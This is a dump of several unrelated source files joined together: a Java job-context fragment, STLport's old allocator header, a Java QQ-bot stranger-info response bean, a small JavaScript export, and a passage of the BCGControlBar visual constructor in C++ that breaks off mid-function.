this.plan = execPlan;
this.channel = ch;
}
public String getJobName() {
return jobName;
}
public void setJobName(String jobName) {
this.jobName = jobName;
}
public void setJobName(Config config) {
this.setJobName(config.getStringValue(Context.JOB_NAME));
}
public TWSChannel getChannel() {
return channel;
}
public ExecutionPlan getPlan() {
return plan;
}
public Path getParentpath() {
return parentpath;
}
public void setParentpath(Path parentpath) {
this.parentpath = parentpath;
}
public <T, O extends InputSplit<T>> DataSource<T, O> createInput(
Config cfg, TaskContext context, InputPartitioner<T, O> input) {
return new DataSource<T, O>(cfg, input, context.getParallelism());
}
}
|
aestesis/elektronika | src/STLport/stlport/stl/_alloc_old.h | template<class _Tp, class _Alloc>
class __simple_alloc {
typedef _Alloc __alloc_type;
public:
typedef typename _Alloc::value_type __alloc_value_type;
typedef _Tp value_type;
static size_t _STLP_CALL __chunk(size_t __n) {
return (sizeof(__alloc_value_type)==sizeof(value_type)) ? __n :
((__n*sizeof(value_type)+sizeof(__alloc_value_type)-1)/sizeof(__alloc_value_type));
}
static _Tp* _STLP_CALL allocate(size_t __n) { return 0 == __n ? 0 : (_Tp*) __alloc_type::allocate(__chunk(__n)); }
static void _STLP_CALL deallocate(_Tp * __p, size_t __n) {
__alloc_type::deallocate((__alloc_value_type*)__p, __chunk(__n)); }
};
// Allocator adaptor to turn an SGI-style allocator (e.g. alloc, malloc_alloc)
// into a standard-conforming allocator. Note that this adaptor does
// *not* assume that all objects of the underlying alloc class are
// identical, nor does it assume that all of the underlying alloc's
// member functions are static member functions. Note, also, that
// __allocator<_Tp, alloc> is essentially the same thing as allocator<_Tp>.
template <class _Tp, class _Alloc>
struct __allocator : public _Alloc {
typedef _Alloc __underlying_alloc;
typedef size_t size_type;
typedef ptrdiff_t difference_type;
typedef _Tp* pointer;
typedef const _Tp* const_pointer;
typedef _Tp& reference;
typedef const _Tp& const_reference;
typedef _Tp value_type;
# if defined (_STLP_MEMBER_TEMPLATE_CLASSES)
template <class _Tp1> struct rebind {
typedef __allocator<_Tp1, _Alloc> other;
};
# endif
__allocator() _STLP_NOTHROW {}
__allocator(const _Alloc& ) _STLP_NOTHROW {}
__allocator(const __allocator<_Tp, _Alloc>& __a) _STLP_NOTHROW
: _Alloc(__a) {}
# if defined (_STLP_MEMBER_TEMPLATES) && defined (_STLP_FUNCTION_TMPL_PARTIAL_ORDER)
template <class _Tp1>
__allocator(const __allocator<_Tp1, _Alloc>& __a) _STLP_NOTHROW
: _Alloc(__a) {}
# endif
# ifdef _STLP_TRIVIAL_DESTRUCTOR_BUG
~__allocator() _STLP_NOTHROW {}
# endif
pointer address(reference __x) const { return &__x; }
# if !defined (__WATCOM_CPLUSPLUS__)
const_pointer address(const_reference __x) const { return &__x; }
# endif
// __n is permitted to be 0.
_Tp* allocate(size_type __n, const void* = 0) {
return __n != 0
? __STATIC_CAST(_Tp*,__underlying_alloc::allocate(__n * sizeof(_Tp)))
: 0;
}
// __p is not permitted to be a null pointer.
void deallocate(pointer __p, size_type __n)
{ if (__p) __underlying_alloc::deallocate(__p, __n * sizeof(_Tp)); }
size_type max_size() const _STLP_NOTHROW
{ return size_t(-1) / sizeof(_Tp); }
void construct(pointer __p, const _Tp& __val) { _STLP_STD::_Construct(__p, __val); }
void destroy(pointer __p) { _STLP_STD::_Destroy(__p); }
const __underlying_alloc& __get_underlying_alloc() const { return *this; }
};
#ifdef _STLP_CLASS_PARTIAL_SPECIALIZATION
template <class _Alloc>
class __allocator<void, _Alloc> {
typedef size_t size_type;
typedef ptrdiff_t difference_type;
typedef void* pointer;
typedef const void* const_pointer;
typedef void value_type;
#ifdef _STLP_MEMBER_TEMPLATE_CLASSES
template <class _Tp1> struct rebind {
typedef __allocator<_Tp1, _Alloc> other;
};
#endif
};
#endif
template <class _Tp, class _Alloc>
inline bool _STLP_CALL operator==(const __allocator<_Tp, _Alloc>& __a1,
const __allocator<_Tp, _Alloc>& __a2)
{
return __a1.__get_underlying_alloc() == __a2.__get_underlying_alloc();
}
#ifdef _STLP_USE_SEPARATE_RELOPS_NAMESPACE
template <class _Tp, class _Alloc>
inline bool _STLP_CALL operator!=(const __allocator<_Tp, _Alloc>& __a1,
const __allocator<_Tp, _Alloc>& __a2)
{
return __a1.__get_underlying_alloc() != __a2.__get_underlying_alloc();
}
#endif /* _STLP_FUNCTION_TMPL_PARTIAL_ORDER */
// Comparison operators for all of the predifined SGI-style allocators.
// This ensures that __allocator<malloc_alloc> (for example) will
// work correctly.
#ifndef _STLP_NON_TYPE_TMPL_PARAM_BUG
template <int inst>
inline bool _STLP_CALL operator==(const __malloc_alloc<inst>&,
const __malloc_alloc<inst>&)
{
return true;
}
#ifdef _STLP_FUNCTION_TMPL_PARTIAL_ORDER
template <int __inst>
inline bool _STLP_CALL operator!=(const __malloc_alloc<__inst>&,
const __malloc_alloc<__inst>&)
{
return false;
}
#endif /* _STLP_FUNCTION_TMPL_PARTIAL_ORDER */
inline bool _STLP_CALL operator==(const __new_alloc&, const __new_alloc&) { return true; }
# ifdef _STLP_USE_SEPARATE_RELOPS_NAMESPACE
inline bool _STLP_CALL operator!=(const __new_alloc&, const __new_alloc&) { return false; }
# endif
template <bool __threads, int __inst>
inline bool _STLP_CALL operator==(const __node_alloc<__threads, __inst>&,
const __node_alloc<__threads, __inst>&)
{
return true;
}
#if defined( _STLP_FUNCTION_TMPL_PARTIAL_ORDER )
template <bool __threads, int __inst>
inline bool _STLP_CALL operator!=(const __node_alloc<__threads, __inst>&,
const __node_alloc<__threads, __inst>&)
{
return false;
}
#endif /* _STLP_FUNCTION_TMPL_PARTIAL_ORDER */
#endif /* _STLP_NON_TYPE_TMPL_PARAM_BUG */
template <class _Alloc>
inline bool _STLP_CALL operator==(const __debug_alloc<_Alloc>&, const __debug_alloc<_Alloc>&) { return true; }
# ifdef _STLP_USE_SEPARATE_RELOPS_NAMESPACE
template <class _Alloc>
inline bool _STLP_CALL operator!=(const __debug_alloc<_Alloc>&, const __debug_alloc<_Alloc>&) { return false; }
# endif
#if defined (_STLP_CLASS_PARTIAL_SPECIALIZATION)
// Versions for the predefined SGI-style allocators.
template <class _Tp, int __inst>
struct _Alloc_traits<_Tp, __malloc_alloc<__inst> > {
typedef __allocator<_Tp, __malloc_alloc<__inst> > allocator_type;
};
template <class _Tp, bool __threads, int __inst>
struct _Alloc_traits<_Tp, __node_alloc<__threads, __inst> > {
typedef __allocator<_Tp, __node_alloc<__threads, __inst> >
allocator_type;
};
template <class _Tp, class _Alloc>
struct _Alloc_traits<_Tp, __debug_alloc<_Alloc> > {
typedef __allocator<_Tp, __debug_alloc<_Alloc> > allocator_type;
};
// Versions for the __allocator adaptor used with the predefined
// SGI-style allocators.
template <class _Tp, class _Tp1, class _Alloc>
struct _Alloc_traits<_Tp, __allocator<_Tp1, _Alloc > > {
typedef __allocator<_Tp, _Alloc > allocator_type;
};
#endif
#if !defined (_STLP_MEMBER_TEMPLATE_CLASSES)
// Versions for the predefined SGI-style allocators.
# if defined (_STLP_NON_TYPE_TMPL_PARAM_BUG)
typedef __malloc_alloc<0> __malloc_alloc_dfl;
typedef __node_alloc<false, 0> __single_client_node_alloc;
typedef __node_alloc<true, 0> __multithreaded_node_alloc;
template <class _Tp>
inline __allocator<_Tp, __malloc_alloc_dfl >& _STLP_CALL
__stl_alloc_rebind(__malloc_alloc_dfl& __a, const _Tp*) {
return (__allocator<_Tp, __malloc_alloc_dfl >&)__a;
}
template <class _Tp>
inline __allocator<_Tp, __single_client_node_alloc >& _STLP_CALL
__stl_alloc_rebind(__single_client_node_alloc& __a, const _Tp*) {
return (__allocator<_Tp, __single_client_node_alloc >&)__a;
}
template <class _Tp>
inline __allocator<_Tp, __multithreaded_node_alloc >& _STLP_CALL
__stl_alloc_rebind(__multithreaded_node_alloc& __a, const _Tp*) {
return (__allocator<_Tp, __multithreaded_node_alloc >&)__a;
}
template <class _Tp>
inline __allocator<_Tp, __malloc_alloc_dfl > _STLP_CALL
__stl_alloc_create(const __malloc_alloc_dfl&, const _Tp*) {
return __allocator<_Tp, __malloc_alloc_dfl > ();
}
template <class _Tp>
inline __allocator<_Tp, __single_client_node_alloc > _STLP_CALL
__stl_alloc_create(const __single_client_node_alloc&, const _Tp*) {
return __allocator<_Tp, __single_client_node_alloc >();
}
template <class _Tp>
inline __allocator<_Tp, __multithreaded_node_alloc > _STLP_CALL
__stl_alloc_create(const __multithreaded_node_alloc&, const _Tp*) {
return __allocator<_Tp, __multithreaded_node_alloc >();
}
# else
template <class _Tp, int __inst>
inline __allocator<_Tp, __malloc_alloc<__inst> >& _STLP_CALL
__stl_alloc_rebind(__malloc_alloc<__inst>& __a, const _Tp*) {
return (__allocator<_Tp, __malloc_alloc<__inst> >&)__a;
}
template <class _Tp, bool __threads, int __inst>
inline __allocator<_Tp, __node_alloc<__threads, __inst> >& _STLP_CALL
__stl_alloc_rebind(__node_alloc<__threads, __inst>& __a, const _Tp*) {
return (__allocator<_Tp, __node_alloc<__threads, __inst> >&)__a;
}
template <class _Tp, int __inst>
inline __allocator<_Tp, __malloc_alloc<__inst> > _STLP_CALL
__stl_alloc_create(const __malloc_alloc<__inst>&, const _Tp*) {
return __allocator<_Tp, __malloc_alloc<__inst> >();
}
template <class _Tp, bool __threads, int __inst>
inline __allocator<_Tp, __node_alloc<__threads, __inst> > _STLP_CALL
__stl_alloc_create(const __node_alloc<__threads, __inst>&, const _Tp*) {
return __allocator<_Tp, __node_alloc<__threads, __inst> >();
}
# endif
template <class _Tp, class _Alloc>
inline __allocator<_Tp, __debug_alloc<_Alloc> > _STLP_CALL
__stl_alloc_create(const __debug_alloc<_Alloc>&, const _Tp*) {
return __allocator<_Tp, __debug_alloc<_Alloc> >();
}
template <class _Tp, class _Alloc>
inline __allocator<_Tp, __debug_alloc<_Alloc> >& _STLP_CALL
__stl_alloc_rebind(__debug_alloc<_Alloc>& __a, const _Tp*) {
return (__allocator<_Tp, __debug_alloc<_Alloc> >&)__a;
}
template <class _Tp>
inline __allocator<_Tp, __new_alloc > _STLP_CALL
__stl_alloc_create(const __new_alloc&, const _Tp*) {
return __allocator<_Tp, __new_alloc >();
}
template <class _Tp>
inline __allocator<_Tp, __new_alloc >& _STLP_CALL
__stl_alloc_rebind(__new_alloc& __a, const _Tp*) {
return (__allocator<_Tp, __new_alloc >&)__a;
}
template <class _Tp1, class _Alloc, class _Tp2>
inline __allocator<_Tp2, _Alloc>& _STLP_CALL
__stl_alloc_rebind(__allocator<_Tp1, _Alloc>& __a, const _Tp2*) {
return (__allocator<_Tp2, _Alloc>&)__a;
}
template <class _Tp1, class _Alloc, class _Tp2>
inline __allocator<_Tp2, _Alloc> _STLP_CALL
__stl_alloc_create(const __allocator<_Tp1, _Alloc>&, const _Tp2*) {
return __allocator<_Tp2, _Alloc>();
}
#endif
|
ForteScarlet/forhttpapi | src/main/java/com/forte/qqrobot/component/forhttpapi/beans/response/Resp_getStrangerInfo.java | <reponame>ForteScarlet/forhttpapi
package com.forte.qqrobot.component.forhttpapi.beans.response;
import com.forte.qqrobot.beans.messages.result.AbstractStrangerInfo;
import com.forte.qqrobot.beans.messages.result.StrangerInfo;
import com.forte.qqrobot.beans.messages.types.SexType;
/**
* @author Ricardo
* @create 2019-03-22 16:44
**/
public class Resp_getStrangerInfo extends AbstractStrangerInfo implements RespBean<Resp_getStrangerInfo.StrangerInfo> {
private Integer status;
private StrangerInfo result;
private String errMsg;
private String originalData;
@Override
public String getOriginalData() {
return originalData;
}
@Override
public String getName(){
return result == null ? null : result.getName();
}
@Override
public void setOriginalData(String originalData) {
this.originalData = originalData;
}
@Override
public String getErrMsg() {
return errMsg;
}
public void setErrMsg(String errMsg) {
this.errMsg = errMsg;
}
@Override
public Integer getStatus() {
return status;
}
public void setStatus(Integer status) {
this.status = status;
}
public void setResult(StrangerInfo result) {
this.result = result;
}
@Override
public StrangerInfo getResult() {
return result;
}
/**
* QQ号
*/
@Override
public String getQQ() {
return result == null ? null : result.getQq();
}
/**
* 性别
*/
@Override
public SexType getSex() {
Integer gender = result.getGender();
return gender == 0 ? SexType.MALE : gender == 1 ? SexType.FEMALE : SexType.UNKNOWN;
}
/**
* 年龄
*/
@Override
public Integer getAge() {
return result == null ? null : result.getOld();
}
/**
* 头像地址
*/
@Override
public String headUrl() {
return result == null ? null : result.getHeadimg();
}
/**
* 等级
*/
@Override
public Integer getLevel() {
return result == null ? null : result.getLevel();
}
/*
{
"status":0,
"result":{
"qq":10001,
"gender":0,
"old":0,
"name":"pony",
"headimg":"http://q2.qlogo.cn/g?b=qq&k=Vjic48anMfN6ovAxw4eN94w&s=100&t=1483281655",
"level":37
}
}
result object QQ信息
result.qq number QQ号
result.gender int 性别,0/男,1/女,255/未知
result.old int 年龄
result.name string 昵称
result.headimg string 头像链接
result.level int QQ等级
*/
public static class StrangerInfo {
private String qq;
private Integer gender;
private Integer old;
private String name;
private String headimg;
private Integer level;
public String getQq() {
return qq;
}
public void setQq(String qq) {
this.qq = qq;
}
public Integer getGender() {
return gender;
}
public void setGender(Integer gender) {
this.gender = gender;
}
public Integer getOld() {
return old;
}
public void setOld(Integer old) {
this.old = old;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getHeadimg() {
return headimg;
}
public void setHeadimg(String headimg) {
this.headimg = headimg;
}
public Integer getLevel() {
return level;
}
public void setLevel(Integer level) {
this.level = level;
}
}
}
|
RoshanSyed/BookiePro | src/components/App/TitleBar/MacTitleBar/index.js | import MacTitleBar from './MacTitleBar';
import './MacTitleBar.less';
export default MacTitleBar;
|
iclosure/smartsoft | Src/VC/bcgcbpro/BCGPVisualConstructor.cpp | <filename>Src/VC/bcgcbpro/BCGPVisualConstructor.cpp
//*******************************************************************************
// COPYRIGHT NOTES
// ---------------
// This is a part of the BCGControlBar Library
// Copyright (C) 1998-2012 BCGSoft Ltd.
// All rights reserved.
//
// This source code can be used, distributed or modified
// only under terms and conditions
// of the accompanying license agreement.
//*******************************************************************************
//
// BCGPVisualConstructor.cpp: implementation of the CBCGPRibbonConstrucor class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "BCGPVisualConstructor.h"
#include "BCGPVisualContainer.h"
#include "BCGPTextGaugeImpl.h"
#include "BCGPAnalogClock.h"
#include "BCGPImageGaugeImpl.h"
#include "BCGPDiagramVisualObject.h"
#include "BCGPDiagramVisualContainer.h"
#ifdef _DEBUG
#undef THIS_FILE
static char THIS_FILE[]=__FILE__;
#define new DEBUG_NEW
#endif
class XBCGPTreeMapGroup: public CBCGPTreeMapGroup
{
friend CBCGPBaseTreeMapNode* CreateTreeMapData(const CBCGPVisualInfo::XTreeMapData& info);
};
inline CBCGPBaseTreeMapNode* CreateTreeMapData(const CBCGPVisualInfo::XTreeMapData& info)
{
CBCGPBaseTreeMapNode* pData = NULL;
if (info.GetName ().Compare (CBCGPVisualInfo::s_szTreeMapGroup) == 0)
{
const CBCGPVisualInfo::XTreeMapGroup& infoGroup =
(const CBCGPVisualInfo::XTreeMapGroup&)info;
XBCGPTreeMapGroup* pGroup = (XBCGPTreeMapGroup*)new CBCGPTreeMapGroup(infoGroup.m_brFill, infoGroup.m_strLabel);
pData = pGroup;
pGroup->SetMargin (infoGroup.m_szMargin);
pGroup->m_brText = infoGroup.m_brText;
pGroup->m_tf = infoGroup.m_fmtText;
for (int i = 0; i < (int)infoGroup.m_arNodes.GetSize (); i++)
{
CBCGPBaseTreeMapNode* pNode = CreateTreeMapData (*infoGroup.m_arNodes[i]);
if (pNode != NULL)
{
pGroup->AddSubNode (pNode);
}
}
}
else
{
const CBCGPVisualInfo::XTreeMapNode& infoNode =
(const CBCGPVisualInfo::XTreeMapNode&)info;
CBCGPTreeMapNode* pNode = new CBCGPTreeMapNode(infoNode.m_dblValue, infoNode.m_strLabel);
pData = pNode;
}
return pData;
}
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CBCGPVisualConstructor::CBCGPVisualConstructor(const CBCGPVisualInfo& info)
: m_Info(info)
{
}
CBCGPVisualConstructor::~CBCGPVisualConstructor()
{
}
void CBCGPVisualConstructor::Construct (CBCGPVisualContainer& container) const
{
const CBCGPVisualInfo::XContainer& infoContainer = GetInfo ().GetContainer ();
if (container.IsKindOf (RUNTIME_CLASS(CBCGPDiagramVisualContainer)))
{
CArray<CBCGPBaseVisualObject*, CBCGPBaseVisualObject*> arConnectors;
CArray<CBCGPBaseVisualObject*, CBCGPBaseVisualObject*> arItems;
int i = 0;
for (i = 0; i < (int)infoContainer.m_arElements.GetSize (); i++)
{
CBCGPBaseVisualObject* pElement = CreateElement ((const CBCGPVisualInfo::XElement&)*infoContainer.m_arElements[i], container);
if (pElement != NULL)
{
ASSERT_VALID(pElement);
if (pElement->IsKindOf (RUNTIME_CLASS(CBCGPDiagramConnector)))
{
arConnectors.Add (pElement);
}
else
{
arItems.Add (pElement);
}
}
}
CBCGPDiagramVisualContainer& diagram = (CBCGPDiagramVisualContainer&)container;
for (i = 0; i < (int)arItems.GetSize (); i++)
{
diagram.AddItem(arItems[i], arItems[i]->IsAutoDestroy ());
}
for (i = 0; i < (int)arConnectors.GetSize (); i++)
{
CBCGPDiagramConnector* pConnector = (CBCGPDiagramConnector*)arConnectors[i];
diagram.AddConnector(pConnector, arConnectors[i]->IsAutoDestroy ());
if (pConnector->IsKindOf (RUNTIME_CLASS (CBCGPDiagramShelfConnector)))
{
((CBCGPDiagramShelfConnector*)pConnector)->RecalcPoints ();
}
else if (pConnector->IsKindOf (RUNTIME_CLASS (CBCGPDiagramElbowConnector)))
{
((CBCGPDiagramElbowConnector*)pConnector)->RecalcPoints ();
}
}
}
else
{
for (int i = 0; i < (int)infoContainer.m_arElements.GetSize (); i++)
{
CBCGPBaseVisualObject* pElement = CreateElement ((const CBCGPVisualInfo::XElement&)*infoContainer.m_arElements[i], container);
if (pElement != NULL)
{
ASSERT_VALID (pElement);
container.Add(pElement);
}
}
}
container.SetDrawDynamicObjectsOnTop (infoContainer.m_bDrawDynamicObjectsOnTop);
if (!infoContainer.m_Rect.IsRectEmpty ())
{
container.SetRect (infoContainer.m_Rect, TRUE, FALSE);
}
container.SetFillBrush (infoContainer.m_brFill);
container.SetOutlineBrush (infoContainer.m_brOutline);
}
CBCGPBaseVisualObject* CBCGPVisualConstructor::CreateElement (const CBCGPVisualInfo::XElement& info, const CBCGPVisualContainer& container) const
{
CBCGPBaseVisualObject* pElement = NULL;
if (info.GetElementName ().Compare (CBCGPVisualInfo::s_szTagCloud) == 0)
{
const CBCGPVisualInfo::XElementTagCloud& infoElement =
(const CBCGPVisualInfo::XElementTagCloud&)info;
CBCGPTagCloud* pNewElement = new CBCGPTagCloud;
pElement = pNewElement;
ConstructBaseElement (*pElement, info);
pNewElement->SetSortOrder (infoElement.m_SortOrder);
pNewElement->SetSortDescending (infoElement.m_bDescending);
pNewElement->SetMaxWeight (infoElement.m_nMaxWeight);
pNewElement->SetFontSizeStep (infoElement.m_dblFontSizeStep);
pNewElement->SetHorzMargin (infoElement.m_szMargin.cx);
pNewElement->SetVertMargin (infoElement.m_szMargin.cy);
pNewElement->SetTextFormat (infoElement.m_fmtBase);
pNewElement->SetFillBrush (infoElement.m_brFill);
pNewElement->SetTextColor (infoElement.m_clrText);
pNewElement->SetHighlightedTextColor (infoElement.m_clrTextHighlighted);
for (int i = 0; i < (int)infoElement.m_arDataObjects.GetSize (); i++)
{
const CBCGPVisualInfo::XTagCloudData* pDataInfo = infoElement.m_arDataObjects[i];
CBCGPTagCloudElement* pTag = new CBCGPTagCloudElement(pDataInfo->m_strLabel,
pDataInfo->m_dblValue, pDataInfo->m_clrText, pDataInfo->m_brFill, pDataInfo->m_clrBorder);
pTag->SetHighlightedColor (pDataInfo->m_clrTextHighlighted);
pNewElement->Add (pTag);
}
}
else if (info.GetElementName ().Compare (CBCGPVisualInfo::s_szTreeMap) == 0)
{
const CBCGPVisualInfo::XElementTreeMap& infoElement =
(const CBCGPVisualInfo::XElementTreeMap&)info;
CBCGPTreeMap* pNewElement = new CBCGPTreeMap;
pElement = pNewElement;
ConstructBaseElement (*pElement, info);
pNewElement->SetLayoutType (infoElement.m_LayoutType);
pNewElement->SetGroupMargin (infoElement.m_Root.m_szMargin);
pNewElement->SetFillBrush (infoElement.m_Root.m_brFill);
for (int i = 0; i < (int)infoElement.m_Root.m_arNodes.GetSize (); i++)
{
CBCGPBaseTreeMapNode* pNode = CreateTreeMapData (*infoElement.m_Root.m_arNodes[i]);
CBCGPTreeMapGroup* pGroup = DYNAMIC_DOWNCAST(CBCGPTreeMapGroup, pNode);
if (pGroup == NULL)
{
if (pNode != NULL)
{
delete pNode;
continue;
}
}
pNewElement->AddGroup(pGroup);
}
}
else if (info.GetElementName ().Compare (CBCGPVisualInfo::s_szCircularGauge) == 0 ||
info.GetElementName ().Compare (CBCGPVisualInfo::s_szKnob) == 0 ||
info.GetElementName ().Compare (CBCGPVisualInfo::s_szAnalogClock) == 0 ||
info.GetElementName ().Compare (CBCGPVisualInfo::s_szLinearGauge) == 0 ||
info.GetElementName ().Compare (CBCGPVisualInfo::s_szNumericInd) == 0 ||
info.GetElementName ().Compare (CBCGPVisualInfo::s_szColorInd) == 0 ||
info.GetElementName ().Compare (CBCGPVisualInfo::s_szTextInd) == 0 ||
info.GetElementName ().Compare (CBCGPVisualInfo::s_szImage) == 0)
{
pElement = CreateGaugeElement((const CBCGPVisualInfo::XGaugeElement&)info, container);
}
else if (info.GetElementName ().Compare (CBCGPVisualInfo::s_szDiagramConnector) == 0 ||
info.GetElementName ().Compare (CBCGPVisualInfo::s_szDiagramConnectorShelf) == 0 ||
info.GetElementName ().Compare (CBCGPVisualInfo::s_szDiagramConnectorElbow) == 0 ||
info.GetElementName ().Compare (CBCGPVisualInfo::s_szDiagramShape) == 0 ||
info.GetElementName ().Compare (CBCGPVisualInfo::s_szDiagramTable) == 0 ||
info.GetElementName ().Compare (CBCGPVisualInfo::s_szDiagramImage) == 0 ||
info.GetElementName ().Compare (CBCGPVisualInfo::s_szDiagramCustom) == 0)
{
pElement = CreateDiagramElement((const CBCGPVisualInfo::XDiagramElement&)info, container);
}
return pElement;
}
void CBCGPVisualConstructor::ConstructBaseElement (CBCGPBaseVisualObject& element, const CBCGPVisualInfo::XElement& info) const
{
element.SetName (info.m_ID.m_Name);
element.SetID (info.m_ID.m_Value);
element.SetRect (info.m_Rect);
element.SetVisible (info.m_bIsVisible);
element.SetAutoDestroy(info.m_bIsAutoDestroy);
}
CBCGPGaugeImpl* CBCGPVisualConstructor::CreateGaugeElement (const CBCGPVisualInfo::XGaugeElement& info, const CBCGPVisualContainer& container) const
{
CBCGPGaugeImpl* pElement = NULL;
if (info.GetElementName ().Compare (CBCGPVisualInfo::s_szCircularGauge) == 0 ||
info.GetElementName ().Compare (CBCGPVisualInfo::s_szKnob) == 0 ||
info.GetElementName ().Compare (CBCGPVisualInfo::s_szAnalogClock) == 0)
{
BOOL bKnob = info.GetElementName ().Compare (CBCGPVisualInfo::s_szKnob) == 0;
BOOL bAnalogClock = info.GetElementName ().Compare (CBCGPVisualInfo::s_szAnalogClock) == 0;
BOOL bAnalogClockChecked = FALSE;
const CBCGPVisualInfo::XElementCircular& infoElement =
(const CBCGPVisualInfo::XElementCircular&)info;
CBCGPCircularGaugeImpl* pNewElement = NULL;
if (bKnob)
{
pNewElement = new CBCGPKnob;
}
else if (bAnalogClock)
{
pNewElement = new CBCGPAnalogClock;
bAnalogClockChecked = ((CBCGPVisualInfo::XElementAnalogClock&)info).m_nDateIndex == -1;
}
else
{
pNewElement = new CBCGPCircularGaugeImpl;
}
pElement = pNewElement;
ConstructGaugeElement (*pElement, info);
pNewElement->SetColors (infoElement.m_Colors);
if (!infoElement.m_fmtText.IsEmpty())
{
pNewElement->SetTextFormat (infoElement.m_fmtText);
}
pNewElement->SetCapSize (infoElement.m_dblCapSize);
if (!bKnob && !bAnalogClock)
{
pNewElement->EnableShapeByTicksArea (infoElement.m_bShapeByTicksArea);
}
int i = 0;
for (i = 0; i < (int)infoElement.m_arScales.GetSize (); i++)
{
const CBCGPVisualInfo::XCircularScale* pScaleInfo =
(const CBCGPVisualInfo::XCircularScale*)infoElement.m_arScales[i];
int index = 0;
if (i != 0)
{
index = pNewElement->AddScale ();
}
if (pScaleInfo->m_bIsClosed)
{
pNewElement->SetClosedRange (pScaleInfo->m_dblStart, pScaleInfo->m_dblFinish, pScaleInfo->m_dblStartAngle,
pScaleInfo->m_bDrawLastTickMark, pScaleInfo->m_bAnimationThroughStart,
index);
}
else
{
pNewElement->SetRange (pScaleInfo->m_dblStart, pScaleInfo->m_dblFinish, index);
pNewElement->SetTicksAreaAngles (pScaleInfo->m_dblStartAngle, pScaleInfo->m_dblFinishAngle, index);
}
pNewElement->SetStep (pScaleInfo->m_dblStep, index);
pNewElement->SetTextLabelFormat (pScaleInfo->m_strLabelFormat, index);
pNewElement->SetTickMarkStyle (pScaleInfo->m_MinorTickMarkStyle, FALSE, pScaleInfo->m_dblMinorTickMarkSize, index);
pNewElement->SetTickMarkStyle (pScaleInfo->m_MajorTickMarkStyle, TRUE, pScaleInfo->m_dblMajorTickMarkSize, index);
pNewElement->SetMajorTickMarkStep (pScaleInfo->m_dblMajorTickMarkStep, index);
pNewElement->SetScaleFillBrush (pScaleInfo->m_brFill, index);
pNewElement->SetScaleOutlineBrush (pScaleInfo->m_brOutline, index);
pNewElement->SetScaleTextBrush (pScaleInfo->m_brText, index);
pNewElement->SetScaleTickMarkBrush (pScaleInfo->m_brTickMarkMinor, FALSE, index);
pNewElement->SetScaleTickMarkBrush (pScaleInfo->m_brTickMarkMajor, TRUE, index);
pNewElement->SetScaleOffsetFromFrame (pScaleInfo->m_dblOffsetFromFrame, index);
pNewElement->EnableLabelsRotation (pScaleInfo->m_bRotateLabels, index);
}
if (bKnob)
{
if ((int)infoElement.m_arPointers.GetSize () > 0)
{
const CBCGPVisualInfo::XKnobPointer* pPointerInfo =
(const CBCGPVisualInfo::XKnobPointer*)infoElement.m_arPointers[0];
CBCGPKnobPointer pointer(pPointerInfo->m_brFill,
pPointerInfo->m_brOutline, pPointerInfo->m_Style, pPointerInfo->m_dblOffsetFromCenter,
pPointerInfo->m_dblWidth);
((CBCGPKnob*)pNewElement)->SetPointer (pointer, FALSE);
pNewElement->SetValue (pPointerInfo->m_dblValue, 0, 0, FALSE);
}
}
else
{
int nDefaultPointers = 1;
if (bAnalogClock)
{
nDefaultPointers = (int)infoElement.m_arPointers.GetSize ();
if (nDefaultPointers == 3)
{
((CBCGPAnalogClock*)pNewElement)->EnableSecondHand ();
}
}
for (i = 0; i < (int)infoElement.m_arPointers.GetSize (); i++)
{
const CBCGPVisualInfo::XCircularPointer* pPointerInfo =
(const CBCGPVisualInfo::XCircularPointer*)infoElement.m_arPointers[i];
CBCGPCircularGaugePointer pointer(pPointerInfo->m_brFill,
pPointerInfo->m_brOutline, pPointerInfo->m_Style, pPointerInfo->m_dblSize,
pPointerInfo->m_dblWidth, pPointerInfo->m_bExtraLen);
if (i >= nDefaultPointers)
{
pNewElement->AddPointer (pointer, pPointerInfo->m_nScale, FALSE);
}
else
{
pNewElement->ModifyPointer (i, pointer, FALSE);
}
if (!bAnalogClock)
{
pNewElement->SetValue (pPointerInfo->m_dblValue, i, 0, FALSE);
}
}
}
for (i = 0; i < (int)infoElement.m_arRanges.GetSize (); i++)
{
const CBCGPVisualInfo::XCircularColoredRange* pRangeInfo =
(const CBCGPVisualInfo::XCircularColoredRange*)infoElement.m_arRanges[i];
pNewElement->AddColoredRange (pRangeInfo->m_dblStartValue, pRangeInfo->m_dblFinishValue, pRangeInfo->m_brFill,
pRangeInfo->m_brOutline, pRangeInfo->m_nScale, pRangeInfo->m_dblStartWidth, pRangeInfo->m_dblFinishWidth,
pRangeInfo->m_dblOffsetFromFrame, pRangeInfo->m_brTextLabel, pRangeInfo->m_brTickMarkOutline, pRangeInfo->m_brTickMarkFill, FALSE);
}
for (i = 0; i < (int)infoElement.m_arSubGauges.GetSize (); i++)
{
CBCGPVisualInfo::XGaugeElement* pSubGaugeInfo = infoElement.m_arSubGauges[i];
CBCGPGaugeImpl* pSubGauge = CreateGaugeElement (*pSubGaugeInfo, container);
if (pSubGauge != NULL)
{
pNewElement->AddSubGauge (pSubGauge, pSubGaugeInfo->m_Pos, pSubGaugeInfo->m_Rect.Size (), pSubGaugeInfo->m_ptOffset);
if (bAnalogClock && !bAnalogClockChecked)
{
if (((CBCGPVisualInfo::XElementAnalogClock&)info).m_nDateIndex == i &&
pSubGauge->IsKindOf (RUNTIME_CLASS(CBCGPNumericIndicatorImpl)))
{
((CBCGPAnalogClock*)pNewElement)->m_pDate = (CBCGPNumericIndicatorImpl*)pSubGauge;
bAnalogClockChecked = TRUE;
}
}
}
}
}
else if (info.GetElementName ().Compare (CBCGPVisualInfo::s_szLinearGauge) == 0)
{
const CBCGPVisualInfo::XElementLinear& infoElement =
(const CBCGPVisualInfo::XElementLinear&)info;
CBCGPLinearGaugeImpl* pNewElement = new CBCGPLinearGaugeImpl;
pElement = pNewElement;
ConstructGaugeElement (*pElement, info);
pNewElement->SetColors (infoElement.m_Colors);
if (!infoElement.m_fmtText.IsEmpty())
{
pNewElement->SetTextFormat (infoElement.m_fmtText);
}
pNewElement->SetVerticalOrientation (infoElement.m_bIsVertical);
int i = 0;
for (i = 0; i < (int)infoElement.m_arScales.GetSize (); i++)
{
const CBCGPVisualInfo::XLinearScale* pScaleInfo =
(const CBCGPVisualInfo::XLinearScale*)infoElement.m_arScales[i];
int index = 0;
if (i != 0)
{
index = pNewElement->AddScale ();
}
